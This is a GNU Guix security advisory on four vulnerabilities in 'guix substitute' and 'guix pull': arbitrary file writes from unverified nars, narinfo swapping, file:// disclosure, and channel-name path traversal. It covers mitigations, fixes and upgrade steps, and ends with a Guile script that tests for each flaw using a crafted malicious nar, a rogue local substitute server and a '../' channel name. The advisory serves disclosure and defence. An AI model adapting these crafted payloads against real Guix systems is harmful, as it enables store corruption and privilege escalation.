GNU Guix: ‘guix substitute‘ and ‘guix pull‘ Vulnerabilities
Several security issues (CVE IDs pending) have been identified in guix substitute, a helper utility invoked by
guix-daemon,
which enable a variety of harmful activities including remote privilege
escalation to the build daemon user, remote store corruption, and
potentially local disclosure of sensitive files accessible to the build
daemon user. All systems are affected, whether or not guix-daemon is running
with root privileges; the harm that can be done when guix-daemon runs without
root privileges is more limited. You are strongly advised to upgrade your
daemon now (see instructions below), carefully considering whether to pass
--no-substitutes to all guix commands when you do so (see note in Upgrading
section).
The remote exploitation of guix substitute only requires that the vulnerable
system attempt to download a binary substitute. Any configured substitute
server, including ones discovered using guix-daemon's --discover option, can
exploit this, and so can a man-in-the-middle (MITM), regardless of whether
https is used in the substitute server urls.
The local exploitation of guix substitute only requires the ability to connect
to guix-daemon's socket, which by default any user can do.
Separately, another security issue (CVE ID pending) was identified in guix pull and guix time-machine, which enables anyone who can control the channels
file used by these commands to cause a file to be created or overwritten
wherever the user running the command in question has permission to create
them. This is possible regardless of whether the channels file is evaluated in a
sandbox and whether the channels used are limited to those sharing an
introduction with a trusted channel. Due to limitations on the content of the
created or overwritten file, this primarily represents a denial-of-service
risk, though in theory it could do more.
Vulnerabilities
Three distinct vulnerabilities have been identified affecting guix substitute,
with a fourth affecting guix pull and guix time-machine:
-
(CVE assignment pending) The procedure that Guile code uses to unpack
substitutes,restore-filein(guix serialization), was not hardened
against malicious input, but it was called to extract the substitute being
downloaded as it was being downloaded, rather than waiting until after the
entire archive had been obtained and its hash had been verified. These
facts together make it possible for any substitute server (or any entity that
can impersonate one) to write arbitrary files to any place on an affected
system that the daemon user has permission to write to. In the case of the
daemon running as root, that includes/etc/passwd.To avoid depending on the X.509 Public Key Infrastructure, the procedure that
fetches metadata about available substitutes (called narinfos),
fetch-narinfos, does not verify server certificates, since the canonical
parts of narinfos need to be signed anyway to be considered valid.
Unfortunately the substitute URL is not one such canonical part, and so it
can be replaced with an attacker-controlled URL. If the substitute
downloaded doesn't match the signed hash in the narinfo, it will be rejected,
but by then it is too late: the substitute was extracted as it was being
downloaded, so the damage is already done.This means that even though
download-nar, the procedure responsible for
actually downloading the substitute, does itself verify server certificates,
usinghttpsin substitute server urls cannot limit who can exploit this, as
the certificate only needs to be appropriate for the attacker-controlled URL.restore-fileis also used by other utilities, includingguix offload,
guix archive --extract, andguix challenge. These can all be exploited
in the same way if untrusted input is given to them. -
(CVE assignment pending) The procedure that fetches metadata about available
substitutes (called narinfos),fetch-narinfosin(guix substitutes),
does not verify that the narinfo it got is the one it asked for, nor do any
of its callers in(guix scripts substitute). Consequently, it is possible
for a substitute server (or anyone who can impersonate one) to trickguix substituteinto using any store item for which there is an authorized
substitute as a substitute for any other store item for which there is an
authorized substitute. The complete extent of harm that can be caused by this
depends in part on what store items an authorized substitute server has
signed or can be convinced to sign, but at minimum this can be used to cause
outdated and insecure versions of software to be used. -
(CVE assignment pending) The implementation of
guix substitutein(guix scripts substitute)permitsfile://URIs to be used both for specifying
substitute server URIs (where to look for narinfos) and for specifying within
narinfos where to download the corresponding archive from. It does not
distinguish between--substitute-urlspassed on theguix-daemoncommand
line and--substitute-urlspassed on theguixcommand line (client-side),
with the latter taking precedence over the former. Opening of thesefile://
URIs follows symbolic links. Consequently, an untrusted client may cause any
file that the daemon can read to be read. If a given line of it doesn't look
like a valid narinfo line (it uses recutils format),guix substitutemay
throw an exception, causing a backtrace containing that line to be passed
through to the client. So, for example, a file containing a single line
containing only a secret passphrase may have its contents revealed to any
local user if the daemon user can read it.Additionally, when a
file://URI is used as the URI of a nar to download,
it may be written to the store if it happens to be a valid nar ("normalized
archive") as used by Guix and Nix. This is unlikely, though.In addition to possibly causing secrets to be disclosed, this can also be
used to interfere with the reading of any file being read by any process that
the daemon user could trace, through the use of files in/proc/PID/fd. -
(CVE assignment pending) The procedure which
guix pullandguix time-machineuse to authenticate channels,authenticate-channelin(guix channels), passed a cache key derived from the channel name to
authenticate-repositoryin(guix git-authenticate). This cache key was
used to determine a filename for storing previously-authenticated commit IDs
in. If the channel name was of the form "../../../../newfile", it could have
caused "newfile" to be created in the user's home directory. It may also have
overwritten "newfile" if it already existed, but only if it already looked
like a Scheme-syntax list of strings, since the contents would have to have
first been read and processed before new contents would have been written.In the event that a write is performed, the output will only include a
Scheme-syntax comment, newline, and list of hexadecimal strings corresponding
to git commit identifiers. This makes it difficult to use for a practical
attack other than a denial-of-service, but note that since it can target
files in/proc, a sufficiently creative and informed attacker may be able
to exploit this further.Realistically, this vulnerability can only be exploited when fetching remote
channel files with the newly-added mechanism for doing
so.
Mitigation
Vulnerabilities (1) and (2) can be mitigated against remote attackers by not
using substitutes, either by passing --no-substitutes to guix-daemon or
passing --no-substitutes to all guix commands. It's always possible to turn
substitutes back on for an individual client, though, so this doesn't work to
defend against a local attacker exploiting (1), (2), or (3), which cannot be
mitigated and must be fixed by updating. Vulnerability (4) can be mitigated by
not running guix pull or guix time-machine with an untrusted channels file.
A test for the presence of these vulnerabilities is available at the end of this
post. One can run this code with:
guix repl -- guix-substitute-and-pull-vuln-check.scmThis will finish with a sequence of 4 lines, beginning with restore-file,
fetch-narinfos, file-uris, and cache-key respectively, each followed by a
colon, a space, and either vulnerable or not vulnerable depending on whether
the running guix-daemon has the indicated vulnerability or not. If all 4 lines
contain not vulnerable, then guix repl will exit with status code 0,
otherwise it will exit with status code 1.
Some of the tests can fail to produce a result in some cases. In this case the
output following the test name will start with error:. A test that fails to
produce a result should be regarded as inconclusive.
The restore-file and fetch-narinfos tests may fail to produce a result if no
substitutes are authorized, or if no authorized substitutes for the current
guix's cfunge, hello, or sed packages can be accessed through any of the
configured substitute urls. The restore-file test may fail to produce a result
if cfunge is reachable from some garbage collection root, such as a
profile. The cache-key test may fail to produce a result if network access to
codeberg to fetch a small portion of the history of the guix-science channel
is not available, which can be worked around by editing the script's definition
of guix-science-url to be any URL (or a filename) at which a copy of the
guix-science repository can be found.
Fixes
These security issues have been fixed by a series of 11 commits, starting with
ed0a9721f8a20d6ddcf6a0495302f502b3f7bb17 and ending with
2ef8ed9f0df53bddf14bdecc2ea48c2d233213cc as part of pull
request #9665. Users should
make sure they have upgraded to commit
897832f374dcdc9eeaf19d01e70b9a92fccfc68c or any later commit to be
protected from these vulnerabilities. Upgrade instructions are in the following
section.
Fixing vulnerability (1) involved hardening restore-file so that it detects
and rejects invalid directory entry names. Specifically, entry names must be
unique, in strictly ascending order, not empty, not equal to "." or "..", and
not containing "/" or null bytes. Additionally, procedures currently used as the
#:dump-file argument to restore-file were modified to insist on creating the
target file afresh and never follow symbolic links.
The inspiration for that last change came from looking at the implementation of
nar-parsing in parse in nix/libutil/archive.cc, where it was determined that
that implementation was not vulnerable, but was about as close to vulnerable as
it could get without actually being vulnerable, only barely being saved by the
fact that the filesystem primitives used all refused to follow symbolic links or
accept an existing target (see this commit
message for
details). To avoid wasting another 3 hours trying to determine this the next
time anyone tries looking at it with a critical eye, that implementation was
also rewritten to be stricter and more obviously secure. It is perhaps not
surprising that the same code led to CVE-2024-45593 in Nix when it was modified
to use more lax filesystem primitives from std::filesystem.
Fixing vulnerability (2) involved modifying fetch-narinfos to not include a
result if it didn't match what was asked for.
Fixing vulnerability (3) involved modifying (guix scripts substitute) to
verify that all substitute urls from untrusted sources are not file:// urls,
and that all nar urls in narinfos are not file:// urls (except when a special
flag is set, which is only done in the test suite).
Some additional hardening was also done, so that substitutes are restored inside
a temporary directory and only moved to their final store item path once the
hash is verified. This still restores them before verifying the hash, so it
wouldn't have prevented (1), but it does ensure that attacker-controlled
contents are not present at the path of what may have once been a valid store
item (and may still be considered by some users or programs to be valid if they
haven't taken note of a recent garbage collection). The narinfo-reading code was
also modified to reject as invalid any narinfo file whose StorePath, References,
or Deriver field contained a path that did not obey the store item path syntax
requirements. A nice side-effect of this is that we now have procedures for
verifying the syntax of store item paths.
Fixing vulnerability (4) involved changing how cache-key was computed by
default for users of authenticate-repository. Rather than being derived from
the name of the channel or (for guix git authenticate) the url of the
repository, cache-key is now derived from the ID of the introductory commit,
which is a very safe hexadecimal string. This also avoids some strange and
potentially-dangerous behavior in which cached authenticated commit IDs could be
shared between two channels that happen to share a name but are otherwise
completely different. Additional hardening of authenticate-repository was
added to turn all occurrences of . in cache-key into - so that even if
non-default cache keys were provided, it would not be possible to escape the
cache directory.
Upgrading
Due to the severity of this security advisory, we strongly recommend all users
to upgrade guix and guix-daemon immediately.
Note: The astute reader may have noticed a dilemma: the fastest way to get
updates is through substitutes, and the way to mitigate the most severe of the
remotely-exploitable vulnerabilities is to disable substitutes. Whether to
pass--no-substitutesis therefore a judgment call that must take into
consideration how long it has been since these vulnerabilities were made
public, how exposed the network paths between your system and your substitute
servers are, how feasible it is for the system in question to build guix by
itself (which will depend in part on how long it has been since you last
upgraded), whether the system in question has multiple users, and of course,
your threat model.
For Guix System, the
procedure
is to reconfigure the system after a guix pull, either restarting
guix-daemon or rebooting. For example:
guix pull
sudo guix system reconfigure /run/current-system/configuration.scm
sudo herd restart guix-daemonwhere /run/current-system/configuration.scm is the current system
configuration but could, of course, be replaced by a system configuration file
of a user's choice.
For Guix on another distribution, one needs to guix pull with sudo, as
the guix-daemon runs as root, and restart the guix-daemon service, as
documented.
For example, on a system using systemd to manage services, run:
sudo --login guix pull
sudo systemctl restart guix-daemon.serviceNote that for users with their distro's package of Guix (as opposed to having
used the install
script)
you may need to take other steps or upgrade the Guix package as per other
packages on your distro. Please consult the relevant documentation from your
distro or contact the package maintainer for additional information or
questions.
Timeline
- May 28th, 2026. Jörg Thalheim of Nix shares the
restore-filevulnerability
with Christopher Baines and Andreas Enge; Christopher sends details to the
Security Response Team. - June 4th, 2026. Andreas Enge notifies Caleb Ristvedt and Ludovic Courtès who
start working on a fix. - June 10th, 2026. Caleb Ristvedt finds the
file://vulnerability
ofguix substitute. - June 22nd, 2026. Caleb Ristvedt finds the third vulnerability: that
guix substitutedid not verify whether the narinfo it is getting is the one it
asked for. - June 24th, 2026. Following an issue reported by Sergio
Pastor-Pérez,
Ludovic Courtès identifies thepullandtime-machinevulnerability and
works on a fix. For the sake of convenience and because hints were available
publicly, it was decided that it should be promptly fixed and disclosed at the
same time as the other vulnerabilities.
Conclusion
We would like to thank Jörg Thalheim for sharing the restore-file
vulnerability, Christopher Baines for verifying it and informing the Security
Response Team, and Andreas Enge for ensuring
that it reached Ludovic and Caleb and facilitating ongoing communication with
Jörg.
We would also like to thank John Kehayias of the Security Response Team for
coordination and for requesting CVE IDs.
Test for presence of vulnerability
Below is code to check if your guix-daemon is vulnerable to the first three
vulnerabilities and your guix is vulnerable to the fourth. Save this file as
guix-substitute-and-pull-vuln-check.scm and run following the instructions
above, in "Mitigation."
(use-modules (git)
(guix build utils)
(guix derivations)
(guix channels)
(guix config)
(guix gexp)
(guix git)
(guix narinfo)
(guix packages)
(guix pki)
(guix utils)
(guix serialization)
(guix store)
(guix substitutes)
((gnu packages base) #:hide (which))
(gnu packages esolangs)
(srfi srfi-1)
(srfi srfi-26)
(srfi srfi-31)
(srfi srfi-34)
(rnrs bytevectors)
(ice-9 atomic)
(ice-9 binary-ports)
(ice-9 control)
(ice-9 match)
(ice-9 popen)
(ice-9 rdelim)
(ice-9 textual-ports)
(ice-9 threads)
(web response)
(web request)
(web uri)
(web server)
(web server http))
;; 1. restore-file
;; Craft an invalid nar, identify a substitutable path that doesn't exist (gc
;; if necessary), get its signed narinfo, start an http server, connect to
;; store, set substitute urls, ask to substitute the chosen path. Have http
;; server serve the signed narinfo with the URLs replaced with its own. When
;; the nar is requested, serve the invalid nar. Once the substitution errors
;; out (hash doesn't match), check whether the chosen file now exists with the
;; specified contents. We're vulnerable if and only if it does.
(define target-file
"/tmp/guix-restore-file-vulnerable")
(define target-substitutable-package
;; pick something obscure but in the main guix channel, so it is either not
;; currently valid or can probably be gc'ed. This is just to make the test
;; more reliable - in real exploitation, an attacker can sit around and wait
;; for any substitute request to be made, but here we need to provoke one in
;; a timely manner.
cfunge)
(define substitute-servers
(with-store store
(substitute-urls store)))
;; Grafts can cause package->derivation to actually start substituting outputs
;; of the derivation being computed, which means we'd have to gc it afterward.
(%graft? #f)
(define (package->path+narinfo store package)
(define path
(derivation->output-path (run-with-store store (lower-object package))))
(match (lookup-narinfos/diverse substitute-servers (list path)
valid-narinfo?)
((info) (values path info))
(() (values #f #f))))
(define (restore-file-vuln?)
(define-values (target-path target-info)
(call-with-values (lambda ()
(with-store store
(package->path+narinfo store
target-substitutable-package)))
(lambda (path info)
(unless info
(error "can't find substitutable path to test 'restore-file' with\n"))
(with-store store
(when (valid-path? store path)
(when (null? (delete-paths store (list path)))
(error "can't delete substitutable path to test 'restore-file' with\n"))))
(values path info))))
(define new-target-info-contents
(let* ((contents (narinfo-contents target-info))
(signature-index (string-contains contents "Signature:"))
(after-signature-index (string-index contents #\newline
signature-index))
(signed-contents (string-take contents (or after-signature-index
(string-length
contents)))))
(string-append signed-contents "
URL: example.nar
Compression: none
NarSize: 0\n")))
;; We can't delete target-file if it's owned by root, so overwrite it with
;; fresh, mostly-random contents each time, and check that the contents match.
(define test-contents
(format #f "VULNERABLE!~%~S:~S~%" (getpid) (random 100000000)))
(define test-nar
(call-with-output-bytevector
(lambda (port)
(for-each (lambda (s)
(write-string s port))
`("nix-archive-1"
"(" "type" "directory"
"entry" "(" "name" "a"
"node" "(" "type" "symlink"
"target" ,target-file ")" ")"
"entry" "(" "name" "a"
"node" "(" "type" "regular"
"contents" ,test-contents ")" ")"
")")))))
(define bad-request
(build-response #:code 400 #:reason-phrase "Unexpected request"))
(define target-uri-path
(string-append "/" (store-path-hash-part target-path) ".narinfo"))
(define nar-uri-path "/example.nar")
(define (handle request body)
(cond
((not (eq? (request-method request) 'GET))
(values bad-request ""))
((string=? (uri-path (request-uri request)) target-uri-path)
(format (current-error-port)
"Returning narinfo pointing to test nar~%")
(values (build-response #:code 200)
new-target-info-contents))
((string=? (uri-path (request-uri request)) nar-uri-path)
(format (current-error-port) "Returning test nar~%")
(values (build-response #:code 200)
test-nar))
(else
(values bad-request ""))))
(call-with-port (socket PF_INET SOCK_STREAM 0)
(lambda (sock)
(setsockopt sock SOL_SOCKET SO_REUSEADDR 1)
(bind sock (make-socket-address AF_INET INADDR_LOOPBACK 0))
(listen sock 5)
(let* ((port-number (sockaddr:port (getsockname sock)))
(substitute-url (string-append "http://localhost:"
(number->string port-number)
"/"))
(server-thread (call-with-new-thread
(lambda ()
(run-server handle http
`(#:socket ,sock))))))
(with-store store
(set-build-options store
#:substitute-urls (list substitute-url))
(guard (c ((store-error? c)
;; XXX doesn't actually cancel until something tries
;; connecting
(cancel-thread server-thread)
;;(join-thread server-thread)
(and (file-exists? target-file)
(string=? (call-with-input-file target-file
get-string-all)
test-contents))))
(build-things store (list target-path))
;; If the substitution actually completes without throwing then we
;; are most definitely vulnerable, but not just in 'restore-path'.
(error "!!!substitution of invalid nar completed???!!!")))))))
;; 2. fetch-narinfos
;; Identify two substitutable paths P1 and P2. Get P1 and P2's signed
;; narinfos, start an http server, connect to store, set substitute urls, ask
;; whether P1 and P2 are substitutable. Have http server serve P2's narinfo
;; when asked for P1's, and P1's when asked for P2's. If vulnerable, it will
;; report that both are substitutable, if not, it will report that neither
;; are.
;; We need two substitutable paths because the daemon<-->'guix substitute
;; --query' interface verifies that the info it gets back is for a path that
;; was requested, so the "replacement" path has to also be queried for
;; substitutability at the same time.
(define (fetch-narinfos-vuln?)
(define-values (hello-path hello-info)
(with-store store (package->path+narinfo store hello)))
(define-values (sed-path sed-info)
(with-store store (package->path+narinfo store sed)))
(define bad-request
(build-response #:code 400 #:reason-phrase "Unexpected request"))
(define hello-uri-path
(string-append "/" (store-path-hash-part hello-path) ".narinfo"))
(define sed-uri-path
(string-append "/" (store-path-hash-part sed-path) ".narinfo"))
(define (handle request body)
(cond
((not (eq? (request-method request) 'GET))
(values bad-request ""))
((string=? (uri-path (request-uri request)) hello-uri-path)
(format (current-error-port) "Returning sed when asked for hello~%")
;; Return the wrong result
(values (build-response #:code 200)
(narinfo-contents sed-info)))
((string=? (uri-path (request-uri request)) sed-uri-path)
(format (current-error-port) "Returning hello when asked for sed~%")
;; Return the wrong result
(values (build-response #:code 200)
(narinfo-contents hello-info)))
(else
(values bad-request ""))))
(unless (and hello-info sed-info)
(error "can't find substitutable paths to test 'fetch-narinfos' with"))
(call-with-port (socket PF_INET SOCK_STREAM 0)
(lambda (sock)
(setsockopt sock SOL_SOCKET SO_REUSEADDR 1)
(bind sock (make-socket-address AF_INET INADDR_LOOPBACK 0))
(listen sock 5)
(let* ((port-number (sockaddr:port (getsockname sock)))
(substitute-url (string-append "http://localhost:"
(number->string port-number)
"/"))
(server-thread (call-with-new-thread
(lambda ()
(run-server handle http
`(#:socket ,sock))))))
(with-store store
(set-build-options store
#:substitute-urls (list substitute-url))
(let ((substitutables
(substitutable-paths store (list hello-path sed-path))))
;; XXX doesn't actually cancel until something tries connecting
(cancel-thread server-thread)
;;(join-thread server-thread)
(not (null? substitutables))))))))
;; 3. file-uris
;; Create a fifo whose name is 32 nix-base32 characters followed by
;; ".narinfo", connect to store, set substitute urls to point to containing
;; directory, spawn a thread to block trying to open fifo write-only which
;; will subsequently set a flag and close the port, then ask whether some
;; store path with that hash is substitutable. It should fail in all cases.
;; Check whether the flag is set; if so, we're vulnerable, otherwise we're
;; not.
(define (file-uris-vuln?)
(call-with-temporary-directory
(lambda (directory)
(define testfifo
(string-append directory "/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.narinfo"))
(define opened? (make-atomic-box #f))
(define store-item
(string-append (%store-prefix) "/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-foo"))
(define open-thread
(begin
(mknod testfifo 'fifo #o744 0)
(call-with-new-thread
(lambda ()
(call-with-port (open testfifo O_WRONLY)
(lambda (port)
(atomic-box-set! opened? #t)))))))
(with-store store
(set-build-options store
#:substitute-urls (list (string-append "file://" directory)))
(guard (c ((store-error? c)
(cancel-thread open-thread)
(delete-file testfifo)
;; even though the file it is trying to open no longer
;; exists, the kernel doesn't give a result to open-thread
;; until someone ptraces it (or maybe sends a signal or
;; something).
;; (join-thread open-thread)
(atomic-box-ref opened?)))
(substitutable-paths store (list store-item))
(error "not supposed to get here!\n"))))))
;; 4. cache-key
;; Create a barebones git repository that is a valid channel, create a
;; <channel> that references it using a malformed name, set XDG_CACHE_HOME to
;; a directory inside a temporary directory (so that 'cache-directory' points
;; to a subdirectory of it), call authenticate-channel, see if a file outside
;; of XDG_CACHE_HOME gets created.
;; If you don't have Internet access, edit this to point to a local repository
;; containing at least commit 5a2d9baeda971df575c017669bca8eb8faa22ebd and its
;; ancestors, and the keyring branch.
(define guix-science-url
"https://codeberg.org/guix-science/guix-science.git")
(define (create-test-channel directory channel-name)
"Populate REPOSITORY with the necessary contents for it to be a valid
channel with 2 commits, then return three values: a <channel> for it with name
CHANNEL-NAME and an introduction to the first commit, the first commit, and
the second commit."
(define intro-commit
"b1fe5aaff3ab48e798a4cce02f0212bc91f423dc")
(define end-commit ;; The commit following intro-commit
"5a2d9baeda971df575c017669bca8eb8faa22ebd")
(define fingerprint
"CA4F 8CF4 37D7 478F DA05 5FD4 4213 7701 1A37 8446")
(define git %git) ;; From (guix config), guix has a hard dependency on git
(with-directory-excursion directory
(invoke git "init"
;; Silence warning
"--initial-branch=main")
(invoke git "remote" "add" "--" "origin" guix-science-url)
(invoke git "fetch" "--" "origin" end-commit)
(invoke git "checkout" "FETCH_HEAD")
(invoke git "fetch" "--" "origin" "refs/heads/keyring:keyring")
(values
(channel
(name channel-name)
(url (canonicalize-path directory))
(introduction (make-channel-introduction
intro-commit
(openpgp-fingerprint fingerprint))))
intro-commit
end-commit)))
(define (cache-key-vuln?)
(call-with-temporary-directory
(lambda (directory)
(let ((home (string-append directory "/home"))
(channel-repo (string-append directory "/channel-repo"))
(testfile (string-append directory "/testfile")))
(mkdir home)
(mkdir channel-repo)
(with-environment-variables `(("HOME" ,home)
("XDG_CACHE_HOME" ,(string-append home
"/.cache")))
(call-with-values
(lambda ()
(create-test-channel channel-repo
(string->symbol "../../../../../testfile")))
(lambda (channel first-commit last-commit)
(authenticate-channel channel channel-repo last-commit
#:keyring-reference-prefix "")))
(file-exists? testfile))))))
;; Results
(define vulnerabilities
(list (list "restore-file" restore-file-vuln?)
(list "fetch-narinfos" fetch-narinfos-vuln?)
(list "file-uris" file-uris-vuln?)
(list "cache-key" cache-key-vuln?)))
(define (call-with-errors-to-string proc)
(define tag (make-prompt-tag))
(call-with-prompt tag
(lambda ()
(with-throw-handler #t
proc
(rec (self key . args)
(let* ((stack (make-stack #t
1 ;self ;; Causes make-stack to return #f??
tag
))
(frames (stack-length stack))
(frame (stack-ref stack 0)))
(define error-string
(match args
(((or (? string? proc) (? symbol? proc))
(? string? message) (args ...) . rest)
(call-with-output-string
(lambda (port)
(display-error frame port proc message args
rest))))
(args
(call-with-output-string
(lambda (port)
(print-exception port frame key args))))))
(display-backtrace stack (current-error-port))
(display error-string (current-error-port))
(abort-to-prompt tag (string-append "error: "
(string-trim-both
error-string)))))))
(lambda (_ . args)
(apply values args))))
(define results
(map (match-lambda
((name proc)
(list name (if (string? proc)
proc ;; pass message through
(call-with-errors-to-string proc)))))
vulnerabilities))
(for-each (match-lambda
((name vulnerable?)
(format #t "~a: ~a~%"
name
(if (boolean? vulnerable?)
(if vulnerable? "vulnerable" "not vulnerable")
vulnerable?))))
results)
(exit (if (any second results) 1 0))Source: Planet GNU